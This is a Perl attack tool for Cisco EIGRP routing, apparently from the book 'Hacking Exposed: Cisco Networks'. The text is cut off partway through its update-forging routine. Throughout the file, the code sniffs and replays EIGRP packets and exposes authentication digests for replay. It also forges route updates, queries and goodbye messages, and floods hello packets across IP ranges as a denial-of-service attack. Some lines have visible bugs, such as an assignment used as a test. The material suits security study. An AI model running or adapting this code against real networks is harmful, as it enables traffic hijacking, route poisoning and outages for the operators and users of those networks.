#!/usr/bin/perl

#This program was originally created when working on the "Hacking Exposed: Cisco Networks" book 
#Authors Janis Vizulis, Arhont Ltd. (License GPL-2 )  
#Please send bugs and comments to info[dot]arhont.com 

eval ("use Getopt::Long;");die "[error] Getopt::Long perl module is not installed \n" if $@;
use Net::RawIP ;
use NetPacket::Ethernet qw(:strip);
use NetPacket::IP;

eval{require "eigrp.conf"};

if($@) {
   print "Failed to load config file:eigrp.conf\n";
   exit(0);
}

print "Using config file eigrp.conf...\n";
my $VERSION = "0.1";
print "$0, $PgmName, V $VERSION \n";
  # handle the command line options

GetOptions ( 
            "help" => \$usage, 
            "sniff" => \$sniff,
            "iface=s" => \$device,
            "iflist" => \$iflist,
            "file2ip=s"=>\$file2ip,
            "op=s"=> \$op,
            "sn=n"=> \$sn,
            "hello"=> \$hello,
            "update"=>\$update,
            "external"=>\$external,
            "internal"=>\$internal,
            "payback"=>\$payback,
            "query"=>\$query,
            "auth=s"=>\$auth,
            "opcode=n"=>\$opcode,
            "flags=n"=>\$flags,
            "as=n"=> \$as,
            "k1=n"=> \$k1,
            "k2=n"=> \$k2,
            "k3=n"=> \$k3,
            "k4=n"=> \$k4,
            "k5=n"=> \$k5,
            "holdtime=n"=>\$holdtime,
            "nms=n"=>\$nms,
            "eigrpv=s"=>\$eigrpv,
            "ios=s"=>\$ios,
            "mtu=n"	=>\$mtu,
            "hopcount=n"=>\$hopcount,
            "reliability=n"=>\$reliability,
            "load=n"=>\$load,
            "delay=n"=>\$delay,
            "version=n"=>\$version,
            "sequence=n"=>\$sequence,
            "ack=n"=>\$ack,
            "nexthop=s"=>\$nexthop,
            "ipgoodbye=s"=>\$ipgoodbye,
            "bandwidth=n"=>\$bandwidth,
            "routedest=s"=>\$routedest,
            "origrouter=s"=>\$origrouter,
            "origas=n"=>\$origas,
            "arbitatag=n"=>\$arbitatag,
            "metric=n"=>\$metric,
            "extproto=n"=>\$extproto,
            "timeout=n" => \$timeout,
            "hellotime=n"=>$hellotime,
            "dest=s" => \$dest,
	    "source=s" => \$source,
	    "hellodos=s"=> \$hellodos,
	    "retries=n"=>\$retries
           );

#Default retries
if ($retries){$retr=$retries;}else{$retr=1;}           
if ($usage) { &usage;}
if ($sniff && $device) { &sniff; } 
elsif ($iflist) { my $a = ifaddrlist; map { print "$_ -> $a->{$_}\n" } keys %$a;}
elsif ($file2ip && $source ){ file2ip();}
elsif($update && $external && $source){$opcode="1"; &up_ext;}
elsif($update && $internal && $source){$opcode="1"; &up_int;}
elsif($query && $external && $source){$opcode="3"; &up_ext;}
elsif($query && $internal && $source){$opcode="3"; &up_int;}
elsif($ipgoodbye && $source){&goodbye;}
elsif($hellodos && $source){$opcode="5";$noosleep=1;&hellodos;}
elsif ($hello && $source){if(!$opcode){ $opcode="5";} hello();}
else{ &usage;}

	
######################### EIGRP constant#################################################
use constant EIGRP_UPDATE => "01";
use constant EIGRP_REQUEST => "02";
use constant EIGRP_QUERY => "03";
use constant EIGRP_REPLY => "04";
use constant EIGRP_HELLO => "05";
use constant EIGRP_SAP => "06";
use constant EIGRP_HI => "20";    # This value is for my own needs to make a difference between Hello and Ack 
use constant EIGRP_ACK => "40";   # This value is for my own needs to make a difference between Hello and Ack 

use constant TLV_PAR => "0001";
use constant TLV_AUTH => "0002";
use constant TLV_SEQ =>	"0003";
use constant TLV_SV => "0004";
use constant TLV_NMS =>	"0005";
use constant TLV_IP_INT=> "0102";
use constant TLV_IP_EXT => "0103";
use constant TLV_AT_INT => "0202";
use constant TLV_AT_EXT => "0203";
use constant TLV_AT_CBL => "0204";
use constant TLV_IPX_INT => "0302";
use constant TLV_IPX_EXT =>	"0303";
use constant TLV_GOOD =>"0007";



use constant EIGRP_HEADER_LENGTH =>	20;

####################################################################################

sub file2ip{ 	
my $pkt;
open(F, "< $file2ip") or die "Unable to open  $file2ip ";
#Here we go with the binary mode
     binmode(F);
     my $buf;
$buf=sysread(F, $pkt, 1500); # Read 1500 b from file
     close(F);  
    send_p($pkt);                                                                   
    return 0;			
}

sub sniff {
	my $filter ='ip[9] == 88 ';
    my $psize=2500;	 
 $a = new Net::RawIP;
 $pcap = $a->pcapinit($device,$filter,$psize,$timeout);
$offset=linkoffset($pcap);
die "Error: Link Offset Not Supported..\n" if (!$offset);
print "Link Offset: $offset..\n";
print "\nSniffing interface: $device\n";

loop $pcap,-1,\&dumpit,\@a;

}



sub dumpit {
my $psck=$_[2];
#Decode ethernet 
my $eth_obj = NetPacket::Ethernet->decode($psck);
print "\n***************************************************************\n";
print("Source MAC:$eth_obj->{src_mac} Dest MAC:$eth_obj->{dest_mac} \n");
my $ip_obj = NetPacket::IP->decode(eth_strip($psck));
print("\t Source IP: $ip_obj->{src_ip} Dest IP:$ip_obj->{dest_ip} \n");
print "**************************************************************** \n";
my $pkt = $ip_obj->{data};
parse ($pkt);
undef $psck;
}

#Payback find and write
sub fwrite {
my $pkt=shift;
my ($filename, $case);
print "\a Magic packet captured ;-) \n";
pr_hex($pkt);
print "\a Enter <1> if you want to replay the packet back:";
$case=<STDIN>;
if ($case=1){send_p($pkt);}
print "Save the data to which file? Enter the filename:";
$filename=<STDIN>;
chomp $filename;
if (-s $filename ) {
  warn "\a $filename contents will be overwritten! \n";
  warn "$filename exist, was last updated ",
  -M $filename, "days ago.\n";
 print "Enter filename:";
 $filename=<STDIN>; 
}	
open(FH, ">$filename") || die "$!";
binmode(FH);      # The filehandle is now binary.
print FH $pkt;
close(FH);	
}


sub payback {
my $pkt=shift;
my $offset=EIGRP_HEADER_LENGTH;
print "\a Magic update packet captured ;-) \n";
print "Updating delay value and sending back to air \n";
#Checksum in null 
substr($pkt, 2, 2) = pack('n',0);
# Read tlv 
my $tlv=unpack('H4',substr($pkt,$offset,2));	
if ($tlv==TLV_AUTH){$offset=$offset+40;$tlv=unpack('H4',substr($pkt,$offset,2));}
prswitch_tlv($tlv);

#Modifying Next HOP
$offset=$offset+4;
#print "Old Next Hop:".unpack("C*",substr($pkt, $offset, 4))."\n";
#print "New Next Hop: $nexthop \n";
#substr($pkt,$offset,4)=ip2bin($nexthop);

#Modifying Delay
if ($tlv==TLV_IP_EXT){$offset=$offset+24;}
if ($tlv==TLV_IP_INT){$offset=$offset+4;}
print "Old Delay:".unpack('N',substr($pkt, $offset, 4))."\n";
print "New Delay:$delay \n";
substr($pkt, $offset,4)=pack('N',$delay);
#New checksum 
substr($pkt, 2, 2) = pack('n',htons(in_cksum($pkt)));
send_p($pkt);
exit(0);		
}


sub parse {
my $pkt=shift;
my (%dis_head,$tlv,$header);
#Strip header and first TLV
$header = substr( $pkt,0,EIGRP_HEADER_LENGTH );
#Dissect the header 
($dis_head->{version},$dis_head->{opcode},$dis_head->{checksum},$dis_head->{flags},$dis_head->{sequnce},
$dis_head->{acknowledge},$dis_head->{autosys})= unpack('CH2nNNNN', $pkt); 
#IF the trigger is found 
if ( $sn > 0 && ($dis_head->{sequnce}==$sn)){fwrite($pkt);}
if ( $op>0 && ($dis_head->{opcode}==$op)){fwrite($pkt);}
if ( defined ($payback) && ($dis_head->{opcode}==01)){
#Checksum

payback($pkt);
}    
pr_hex($pkt);
# Packet without header
$pkt=substr($pkt,EIGRP_HEADER_LENGTH); 
#Checksum
my $pchecksum = dec2hex($dis_head->{checksum}); 
print "\t Version: $dis_head->{version} \n";
prswitch_opcode($dis_head->{opcode});
print "\t Checksum: 0x$pchecksum ";
vchecksum($pkt,\%dis_head);
print "\t Flags: $dis_head->{flags}   Sequnce :$dis_head->{sequnce} \n"; 
print "\t  Acknowledge: $dis_head->{acknowledge} \n";
print "\t Autonomus system number: $dis_head->{autosys} \n";
while(length($pkt)>=1) {
#Read the first TLV
$tlv=getu_16($pkt);
prswitch_tlv($tlv);
$pkt=switch_tlv($tlv,$pkt,\%dis_head);
}
}


sub vchecksum {
my ($pkt ,%dis_head)=@_;
my $psevdohead= pack('CH2nNNNN',$dis_head->{version},$dis_head->{opcode},0,$dis_head->{flags},$dis_head->{sequnce},
$dis_head->{acknowledge},$dis_head->{autosys});
if ($dis_head->{checksum} == htons(in_cksum($psevdohead.$pkt)))
{ print "<* Correct *>  \n"; } else { print " <* Vrong *> \n";}

}



sub switch_tlv {
my ($tlv,$pkt,%dishead)=@_;
if ($tlv==TLV_PAR){ return dtlv_par($pkt,\%dishead);}
elsif ($tlv==TLV_SEQ){return dtlv_seq($pkt,\%dishead);}
elsif ($tlv==TLV_SV){return dtlv_sv($pkt,\%dishead);}
elsif ($tlv==TLV_NMS){return dtlv_nms($pkt,\%dishead);}
elsif ($tlv==TLV_IP_INT){return dtlv_ip_int($pkt,\%dishead);}
elsif ($tlv==TLV_IP_EXT){return dtlv_ip_ext($pkt,\%dishead);}
elsif ($tlv==TLV_IPX_INT){return dtlv_ipx_int($pkt,\%dishead);}
elsif ($tlv==TLV_IPX_EXT){return dtlv_ipx_ext($pkt,\%dishead);}
elsif ($tlv==TLV_AT_CBL){return dtlv_at_cbl($pkt,\%dishead);}
elsif ($tlv==TLV_AT_INT){return dtlv_at_int($pkt,\%dishead);}
elsif ($tlv==TLV_AT_EXT){return dtlv_at_ext($pkt,\%dishead);}
elsif ($tlv==TLV_AUTH){return dtlv_auth($pkt,\%dishead);}
elsif ($tlv==TLV_GOOD){return dtlv_good($pkt,\%dishead);}
else { return dtlv_unknown($pkt); }
}

sub dtlv_good
{
my ($pkt,%dishead)=@_;
my ($pktu,$pkt)=getu_p($pkt);
($dis_head->{good_tlv},$dis_head->{good_size},$dishead->{good_mesage},$dis_head->{good_ip1},$dis_head->{good_ip2},
$dis_head->{good_ip3},$dis_head->{good_ip4})=unpack('H4nCCCCC',$pktu);
print "\t Size:$dis_head->{good_size} \n";
print "\t ID:$dishead->{good_mesage} \n";
print "\t IP:$dis_head->{good_ip1}.$dis_head->{good_ip2}.$dis_head->{good_ip3}.$dis_head->{good_ip4} \n";
return $pkt;  
}

sub dtlv_unknown {
my $pkt=shift;	
my $size=length($pkt);
print "\n \t Data size: $size \n";
pr_hex($pkt);
pr_c($pkt);
pr_ns($pkt);
print "\n \t In ASCII escaped \n".uri_escape(unpack("A*",$pkt))."\n";
$pkt=0;
exit(0);
return $pkt;	
}




sub dtlv_ipx_int {
my ($pktu,$pkt)=getu_p($pkt);
my ($pkt,%dis_head)=@_;
print "[[[ DISSECT IS NOT IMPLEMENTED IN THIS RELEASE]] \n";
return $pkt;
}
sub dtlv_ipx_ext {
my ($pktu,$pkt)=getu_p($pkt);
my ($pkt,%dis_head)=@_;
print "[[[ DISSECT IS NOT IMPLEMENTED IN THIS RELEASE]] \n";
return $pkt;
}

sub dtlv_at_cbl {
my ($pktu,$pkt)=getu_p($pkt);
my ($pkt,%dis_head)=@_;
print "[[[ DISSECT IS NOT IMPLEMENTED IN THIS RELEASE]] \n";
return $pkt;
}
sub dtlv_at_int {
my ($pktu,$pkt)=getu_p($pkt);
my ($pkt,%dis_head)=@_;
print "[[[ DISSECT IS NOT IMPLEMENTED IN THIS RELEASE]] \n";
return $pkt;
}
sub dtlv_at_ext {
my ($pktu,$pkt)=getu_p($pkt);
my ($pkt,%dis_head)=@_;
print "[[[ DISSECT IS NOT IMPLEMENTED IN THIS RELEASE]] \n";
return $pkt;
}



sub dtlv_ip_ext {	
my ($pkt,%dis_head)=@_; 
#Read size 
my ($pktu,$pkt)=getu_p($pkt);
#Dissect IP
($dis_head->{ip_ext_tlv},$dis_head->{ip_ext_size},$dis_head->{ip_ext_nh1},$dis_head->{ip_ext_nh2},
$dis_head->{ip_ext_nh3},$dis_head->{ip_ext_nh4},$dis_head->{ip_ext_or1},$dis_head->{ip_ext_or2},
$dis_head->{ip_ext_or3},$dis_head->{ip_ext_or4},$dis_head->{ip_ext_oas},$dis_head->{ip_ext_at},
$dis_head->{ip_ext_metr},$dis_head->{ip_ext_res1},$dis_head->{ip_ext_lin},
$dis_head->{ip_ext_flags},$dis_head->{ip_ext_delay},$dis_head->{ip_ext_band},$dis_head->{ip_ext_mtu},
$dis_head->{ip_ext_hc},$dis_head->{ip_ext_reab},$dis_head->{ip_ext_load},$dis_head->{ip_ext_res},
$dis_head->{ip_ext_pref},$dis_head->{ip_ext_ip1},$dis_head->{ip_ext_ip2},$dis_head->{ip_ext_ip3},
$dis_head->{ip_ext_ip4})= unpack('H4nCCCCCCCCNNNnCCNNH6CCCnCCCCC', $pktu);
print "\t Size: $dis_head->{ip_ext_size} \n";
print "\t Next hop: $dis_head->{ip_ext_nh1}.$dis_head->{ip_ext_nh2}.$dis_head->{ip_ext_nh3}.$dis_head->{ip_ext_nh4} \n";
print "\t Originating router: $dis_head->{ip_ext_or1}.$dis_head->{ip_ext_or2}.$dis_head->{ip_ext_or3}.$dis_head->{ip_ext_or4} \n";
print "\t AS: $dis_head->{ip_ext_oas} Arbitrary tag: $dis_head->{ip_ext_at} \n"; 
print "\t External protocol metric: $dis_head->{ip_ext_metr} \n";
print "\t Reserved $dis_head->{ip_ext_res1} \n";
prswitch_id($dis_head->{ip_ext_lin});
print "\t Flags: $dis_head->{ip_ext_flags} Delay: $dis_head->{ip_ext_delay} Bandwidth: $dis_head->{ip_ext_band} \n";
print "\t MTU: ".hex2dec($dis_head->{ip_ext_mtu})."   Hop count: ".$dis_head->{ip_ext_hc}. "\n";
print "\t Reliability: $dis_head->{ip_ext_reab}  Load: $dis_head->{ip_ext_load} \n";
print "\t Reserved: $dis_head->{ip_ext_res} \n";
print "\t Prefix  Length: $dis_head->{ip_ext_pref} \n";
print "\t Destination: $dis_head->{ip_ext_ip1}.$dis_head->{ip_ext_ip2}.$dis_head->{ip_ext_ip3}.$dis_head->{ip_ext_ip4} \n";

return $pkt;  
	
}
sub dtlv_ip_int {
my ($pkt,%dis_head)=@_; 
#Read the size 
my ($pktu,$pkt)=getu_p($pkt);
#Dissect IP
($dis_head->{ip_int_tlv},$dis_head->{ip_int_size},$dis_head->{ip_int_nh1},$dis_head->{ip_int_nh2},
$dis_head->{ip_int_nh3},$dis_head->{ip_int_nh4},$dis_head->{ip_int_delay},$dis_head->{ip_int_band},
$dis_head->{ip_int_mtu},$dis_head->{ip_int_hc},$dis_head->{ip_int_reab},$dis_head->{ip_int_load},
$dis_head->{ip_int_res},$dis_head->{ip_int_pref},
$dis_head->{ip_int_ip1},$dis_head->{ip_int_ip2},$dis_head->{ip_int_ip3},
$dis_head->{ip_int_ip4})= unpack('H4nCCCCNNH6CCCnCCCCC', $pktu);
print "\t Size: $dis_head->{ip_int_size} \n";
print "\t Next hop: $dis_head->{ip_int_nh1}.$dis_head->{ip_int_nh2}.$dis_head->{ip_int_nh3}.$dis_head->{ip_int_nh4} \n";
print "\t Delay: $dis_head->{ip_int_delay}    Bandwidth: $dis_head->{ip_int_band} \n";
print "\t MTU: ".hex2dec($dis_head->{ip_int_mtu})."\t Hop count: $dis_head->{ip_int_hc} \n";
print "\t Reliability:$dis_head->{ip_int_reab} Load: $dis_head->{ip_int_load} \n"; 
print "\t Reserved $dis_head->{ip_int_res} \n";
print "\t Prefix  Length: $dis_head->{ip_int_pref} \n";
print "\t Destination: $dis_head->{ip_int_ip1}.$dis_head->{ip_int_ip2}.$dis_head->{ip_int_ip3}.$dis_head->{ip_int_ip4}\n";
return $pkt; 

}

sub dtlv_par {
my ($pkt,%dis_head)=@_; 
#Read size 
my ($pktu,$pkt)=getu_p($pkt);
($dis_head->{par_tlv},$dis_head->{par_size},$dis_head->{par_K1},$dis_head->{par_K2},
$dis_head->{par_K3},$dis_head->{par_K4},$dis_head->{par_K5},$dis_head->{par_reserved},
$dis_head->{par_hold})= unpack('H4nCCCCCCn', $pktu);
print "\t Size: $dis_head->{par_size} \n";
print "\t K1: $dis_head->{par_K1} K2: $dis_head->{par_K2} K3: $dis_head->{par_K3} K4: $dis_head->{par_K4} K5: $dis_head->{par_K5},  \n";
print "\t Reserved: $dis_head->{par_reserved} Hold Time: $dis_head->{par_hold} \n";
#Return striped packet
return $pkt;
}

sub dtlv_seq {
my ($pkt,%dis_head)=@_; 
my $dword;
#Read size 
$dword=unpack('C',substr($pkt,3,1));
if ($dword==4){
#Dissect IP
($dis_head->{seq_tlv},$dis_head->{seq_Addr_size},$dis_head->{seq_ip1},$dis_head->{seq_ip2},
$dis_head->{seq_ip3},$dis_head->{seq_ip4},$dis_head->{seq_num})= unpack('H4nCCCCN', $pkt);
print "IP Address size: $dis_head->{seq_Addr_size} \n";
print "IP Address:$dis_head->{seq_ip1}.$dis_head->{seq_ip2}.$dis_head->{seq_ip3}.$dis_head->{seq_ip4}\n";
print "Sequence: $dis_head->{seq_num} \n";
}else {
#Disect IPX
#($dis_head->{seq_tlv},$dis_head->{seq_Addr_size},$dis_head->{seq_ipx1},$dis_head->{seq_ipx2},
#$dis_head->{seq_ipx3},$dis_head->{seq_ipx4})= unpack('H4nNNNNN', $pktu);
#print "\t Address size: $dis_head->{seq_Addr_size} \n";
#print "\t IPX address = $dis_head->{seq_ipx1}";
#print dec2hex($dis_head->{seq_ipx2}).":".dec2hex($dis_head->{seq_ipx3}).":".dec2hex($dis_head->{seq_ipx4})."\n";
print "IPX support is not implemented in this release\n";
}
#Return a stripped packet
$pkt=substr($pkt,17);
return $pkt;
}


sub dtlv_nms 
{
my ($pkt,%dis_head)=@_; 
my ($pktu,$pkt)=getu_p($pkt);      
($dis_head->{nms_tlv},$dis_head->{nms_seq_size},$dis_head->{nms_seq})= unpack('nnN', $pktu);       
print "NMS Size:$dis_head->{nms_seq_size} \n"; 
print "\t Next Multicast Sequence = $dis_head->{nms_seq} \n";
#Return striped packet
return $pkt;
}



sub dtlv_auth {
my ($pkt,%dis_head)=@_; 
my ($pktu,$pkt)=getu_p($pkt);
($dis_head->{auth_tlv},$dis_head->{auth_size},$dis_head->{auth_proto},
$dis_head->{auth_md_size},$dis_head->{auth_key_id},$dis_head->{auth_data})=unpack("H4nnnNH*", $pktu);

print "\t Size: $dis_head->{auth_size} \n";
print "\t Key ID: $dis_head->{auth_key_id} \n";
if ($dis_head->{auth_proto}==2){
print "\t MD5 key digest: ".substr(unpack("H*",$pktu),-31)."\n";
}
$pktu=unpack("H*",substr($pktu,4));
print "\t Key in one string (Copy & paste to replay)\n\t $pktu \n"; 
return $pkt;
}

sub dtlv_sv {
my ($pkt,%dis_head)=@_; 
my ($pktu,$pkt)=getu_p($pkt);
($dis_head->{sv_tlv},$dis_head->{sv_size},$dis_head->{sv_maj},
$dis_head->{sv_min},$dis_head->{sv_emj},$dis_head->{sv_emi})=unpack('nnCCCC', $pktu);
print "\t Size: $dis_head->{sv_size} \n";
print "\t IOS version: $dis_head->{sv_maj}\.$dis_head->{sv_min} \n";
print "\t EIGRP version $dis_head->{sv_emj}\.$dis_head->{sv_emi} \n";
return $pkt;		
}

sub prswitch_id {
my $id=shift;
if ($id==1){ print"\t IGRP [$id] \n";}
elsif ($id==2){print "\t EIGRP [$id] \n";}
elsif ($id==3){print"\t Static Route [$id] \n";}
elsif ($id==4){print"\t RIP [$id] \n";}
elsif ($id==5){print"\t HELLO [$id] \n";}
elsif ($id==6){print"\t OSPF [$id] \n";}
elsif ($id==7){print"\t IS_IS [$id] \n";}
elsif ($id==8){print"\t EGP [$id] \n";}
elsif ($id==9){print"\t BGP [$id] \n";}
elsif ($id==10){print"\t IDRP [$id] \n";}
elsif ($id==11){print"\t Connected link [$id] \n";}
elsif ($id==0){print "\t NULL [$id] \n";}
else { print "\t <<NOT DEFINED>> [$id] \n";}	
}

sub prswitch_opcode {
my $opcode=shift;
my $disop;
if ($opcode==EIGRP_UPDATE){ print "\t Opcode:$opcode <Update> \n";}
elsif ($opcode==EIGRP_HELLO){print "\t Opcode:$opcode <Hello/Ack> \n";}
elsif ($opcode==EIGRP_REPLY){print "\t Opcode:$opcode <Reply> \n";}
elsif ($opcode==EIGRP_QUERY){print "\t Opcode:$opcode <Query> \n";}
elsif ($opcode==EIGRP_REQUEST){print "\t Opcode:$opcode <Request> \n";}
elsif ($opcode==EIGRP_SAP){print "\t Opcode:$opcode <IPX/SAP Update> \n";}
elsif ($opcode==EIGRP_HI){print "\t Opcode:$opcode <Hello> \n";}
elsif ($opcode==EIGRP_ACK){print "\t Opcode:$opcode <Acknowledge> \n";}
else { $disop="\a \n <<Warning UNKNOWN DATA OR BAD PACKET Opcode: $opcode >> \n";}
}

sub prswitch_tlv {
my $tvl=shift;
if ($tvl==TLV_PAR){ print "<<<EIGRP Parameters: $tvl >>> \n";}
elsif ($tvl==TLV_SEQ){print "<<<Sequence: $tvl >>> \n";}
elsif ($tvl==TLV_SV){print "<<<Software Version $tvl >>> \n";}
elsif ($tvl==TLV_NMS){print "<<<Next multicast sequence: $tvl >>> \n";}
elsif ($tvl==TLV_IP_INT){print " <<<IP internal route: $tvl >>> \n";}
elsif ($tvl==TLV_IP_EXT){print " <<<IP external route: $tvl >>> \n";}
elsif ($tvl==TLV_IPX_INT){print "<<<IPX internal route: $tvl >>> \n";}
elsif ($tvl==TLV_IPX_EXT){print "<<<IPX external route: $tvl >>> \n";}
elsif ($tvl==TLV_AT_CBL){print "<<<AppleTalk cable configuration: $tvl >>> \n";}
elsif ($tvl==TLV_AT_INT){print "<<<AppleTalk internal route:$tvl >>> \n";}
elsif ($tvl==TLV_AT_EXT){print "<<<AppleTalk external route:$tvl >>> \n";}
elsif ($tvl==TLV_AUTH){print "<<<Authentication data: $tvl>>> \n";}
elsif ($tvl==TLV_GOOD){print "<<<Interface Goodbye received: $tvl >> \n";}
else { print "\a \n <<Warning UNKNOWN TLV < $tvl > OR BAD SHORT PACKET>> \n";}
}

#HELLO

sub hello {

my (%hello,$pack);	
#IOS-EIGRP version 
my $ie=$ios.".".$eigrpv;
$ie=pack('CCCC',split( /\./, $ie));


%hello =( version=>pack('C',$version),opcode=>pack('C',$opcode),checksum=>pack('n',0),flags=>pack('N',$flags),
sequnce=>pack('N',$sequence),ack=>pack('N',$ack),as=>pack('N',$as),atype=>pack('n',2),
asize=>pack('n',40),authdata=>pack("H*",$auth), par=>pack("n",1), par_size=>pack('n',12),
KR=>pack("C*",$k1,$k2,$k3,$k4,$k5,0x00),hold=>pack('n',$holdtime), sv_s=>pack('nn',4,8),
ie=>$ie,nms_tlv=>pack('n',5),nms_size=>pack('n',8),nms_seq=>pack('N',$nms));
if ($auth){

if ($nms){
	
$hello{checksum}=pack('n',(htons(in_cksum($hello{version}.$hello{opcode}.$hello{checksum}.$hello{flags}.$hello{sequnce}.
$hello{ack}.$hello{as}.$hello{atype}.$hello{asize}.$hello{authdata}.$hello{par}.$hello{par_size}.
$hello{KR}.$hello{hold}.$hello{sv_s}.$hello{ie}.$hello{nms_tlv}.$hello{nms_size}.$hello{nms_seq}))));
$pack=$hello{version}.$hello{opcode}.$hello{checksum}.$hello{flags}.$hello{sequnce}.
$hello{ack}.$hello{as}.$hello{atype}.$hello{asize}.$hello{authdata}.$hello{par}.$hello{par_size}.
$hello{KR}.$hello{hold}.$hello{sv_s}.$hello{ie}.$hello{nms_tlv}.$hello{nms_size}.$hello{nms_seq};

}else{

$hello{checksum}=pack('n',(htons(in_cksum($hello{version}.$hello{opcode}.$hello{checksum}.$hello{flags}.$hello{sequnce}.
$hello{ack}.$hello{as}.$hello{atype}.$hello{asize}.$hello{authdata}.$hello{par}.$hello{par_size}.
$hello{KR}.$hello{hold}.$hello{sv_s}.$hello{ie}))));
$pack=$hello{version}.$hello{opcode}.$hello{checksum}.$hello{flags}.$hello{sequnce}.
$hello{ack}.$hello{as}.$hello{atype}.$hello{asize}.$hello{authdata}.$hello{par}.$hello{par_size}.
$hello{KR}.$hello{hold}.$hello{sv_s}.$hello{ie};
}


}else{

if ($nms){
$hello{checksum}=pack('n',(htons(in_cksum($hello{version}.$hello{opcode}.$hello{checksum}.$hello{flags}.$hello{sequnce}.
$hello{ack}.$hello{as}.$hello{par}.$hello{par_size}.
$hello{KR}.$hello{hold}.$hello{sv_s}.$hello{ie}.$hello{nms_tlv}.$hello{nms_size}.$hello{nms_seq}))));

$pack=$hello{version}.$hello{opcode}.$hello{checksum}.$hello{flags}.$hello{sequnce}.
$hello{ack}.$hello{as}.$hello{par}.$hello{par_size}.
$hello{KR}.$hello{hold}.$hello{sv_s}.$hello{ie}.$hello{nms_tlv}.$hello{nms_size}.$hello{nms_seq};

}else{
	
$hello{checksum}=pack('n',(htons(in_cksum($hello{version}.$hello{opcode}.$hello{checksum}.$hello{flags}.$hello{sequnce}.
$hello{ack}.$hello{as}.$hello{par}.$hello{par_size}.
$hello{KR}.$hello{hold}.$hello{sv_s}.$hello{ie}))));

$pack=$hello{version}.$hello{opcode}.$hello{checksum}.$hello{flags}.$hello{sequnce}.
$hello{ack}.$hello{as}.$hello{par}.$hello{par_size}.
$hello{KR}.$hello{hold}.$hello{sv_s}.$hello{ie};
}
}
if ($noosleep!=1){
while (1){	
send_p($pack);
sleep($hellotime);
}
}
send_p($pack);		
}		





sub goodbye {
my (%hello,$pack);


my @i = split( /\./, $ipgoodbye) ;

%hello=( version=>$version, opcode =>$opcode, checksum =>0, flags=>$flags,
sequnce=>$sequence, ack=>$ack, autosys=>$as, par=>1, par_size=>12, K1=>$k1,
K2=>$k2, K3=>$k3, K4=>$k4, K5=>$k5, reserved=>0, hold=>$holdtime, sv=>4,
sv_s=>8, ios_1=>12, ios_2=>3, ei_v1=>1, ei_v2=>2, good_tlv=>0007,good_size=>9,good_mesage=>4,good_ip1=>$i[0],
good_ip2=>$i[1],good_ip3=>$i[2],good_ip4=>$i[3]);
print:"IP $hello{good_ip1},$hello{good_ip2},$hello{good_ip3}$hello{good_ip4}\n";	
#Pack for checksum
$hello{checksum}= htons(in_cksum(pack('CCnNNNNnnCCCCCCnnnCCCCnnCCCCC',$hello{version},$hello{opcode},0,
$hello{flags},$hello{sequnce},$hello{ack},$hello{autosys},
$hello{par},$hello{par_size},$hello{K1},$hello{K2},$hello{K3},
$hello{K4},$hello{K5},$hello{reserved},$hello{hold},$hello{sv},
$hello{sv_s},$hello{ios_1},$hello{ios_2},$hello{ei_v1},$hello{ei_v2},$hello{good_tlv},
$hello{good_size},$hello{good_mesage},$hello{good_ip1},$hello{good_ip2},$hello{good_ip3},
$hello{good_ip4}))); 

#Send
$pack= pack('CCnNNNNnnCCCCCCnnnCCCCnnCCCCC',$hello{version},$hello{opcode},$hello{checksum},
$hello{flags},$hello{sequnce},$hello{ack},$hello{autosys},
$hello{par},$hello{par_size},$hello{K1},$hello{K2},$hello{K3},
$hello{K4},$hello{K5},$hello{reserved},$hello{hold},$hello{sv},
$hello{sv_s},$hello{ios_1},$hello{ios_2},$hello{ei_v1},$hello{ei_v2},$hello{good_tlv},
$hello{good_size},$hello{good_mesage},$hello{good_ip1},$hello{good_ip2},$hello{good_ip3},
$hello{good_ip4});

while (1){	
send_p($pack);
sleep($hellotime);
}		
}

sub hellodos {

my ($a, $b, $c, $d) = split(/\./,$hellodos);
while ($a<254) { $d++;
if ($d > 254) { $d = 1; $c++;}
if ($c > 254) { $c = 1; $b++;}
if ($b > 254) { $b = 1; $a++;}
if ($a > 254) { exit; }
$dest = "$a.$b.$c.$d";
print "$dest \n";
hello();
}
}

#Send update-ext 
sub up_ext {
#If not defined

my (%up_ext,$pack);	
%up_ext =( version=>pack('C',$version),opcode=>pack('C',$opcode),checksum=>pack('n',0),flags=>pack('N',$flags),
sequnce=>pack('N',$sequence),ack=>pack('N',$ack),as=>pack('N',$as),atype=>pack('n',2),
asize=>pack('n',40),authdata=>pack("H*",$auth),type=>pack("C*",0x01,0x03),
ier_size=>pack('n',0),nh=>ip2bin($nexthop),or_router=>ip2bin($origrouter),or_as=>pack('N',$origas),
atag=>pack('N',$arbitatag),metr=>pack('N',$metric),reserv_1=>pack('n',0),ext_pr_id=>pack('C',$extproto),
flags_e=>pack('C',0),delay=>pack('N',$delay),bandwidth=>pack('N',$bandwidth),
mtu=>pack24($mtu),hc=>pack('C',$hopcount),reliab=>pack('C',$reliability),load=>pack('C',$load),
reserv2=>pack('n',0),ext_route=>pref_ip_inter_2bin($routedest));
	
$up_ext{ier_size}=pack('n',(length($up_ext{type}.$up_ext{ier_size}.$up_ext{nh}.$up_ext{or_router}.
$up_ext{or_as}.$up_ext{atag}.$up_ext{metr}.$up_ext{reserv_1}.$up_ext{ext_pr_id}.$up_ext{flags_e}.$up_ext{delay}.
$up_ext{bandwidth}.$up_ext{mtu}.$up_ext{hc}.$up_ext{reliab}.$up_ext{load}.$up_ext{reserv2}.$up_ext{ext_route})));
if ($auth){
$up_ext{checksum}=pack('n',(htons(in_cksum($up_ext{version}.$up_ext{opcode}.$up_ext{checksum}.$up_ext{flags}.$up_ext{sequnce}.
$up_ext{ack}.$up_ext{as}.$up_ext{atype}.$up_ext{asize}.$up_ext{authdata}.$up_ext{type}.$up_ext{ier_size}.$up_ext{nh}.$up_ext{or_router}.
$up_ext{or_as}.$up_ext{atag}.$up_ext{metr}.$up_ext{reserv_1}.$up_ext{ext_pr_id}.$up_ext{flags_e}.$up_ext{delay}.
$up_ext{bandwidth}.$up_ext{mtu}.$up_ext{hc}.$up_ext{reliab}.$up_ext{load}.$up_ext{reserv2}.$up_ext{ext_route}))));	

$pack=$up_ext{version}.$up_ext{opcode}.$up_ext{checksum}.$up_ext{flags}.$up_ext{sequnce}.
$up_ext{ack}.$up_ext{as}.$up_ext{atype}.$up_ext{asize}.$up_ext{authdata}.$up_ext{type}.$up_ext{ier_size}.$up_ext{nh}.$up_ext{or_router}.
$up_ext{or_as}.$up_ext{atag}.$up_ext{metr}.$up_ext{reserv_1}.$up_ext{ext_pr_id}.$up_ext{flags_e}.$up_ext{delay}.
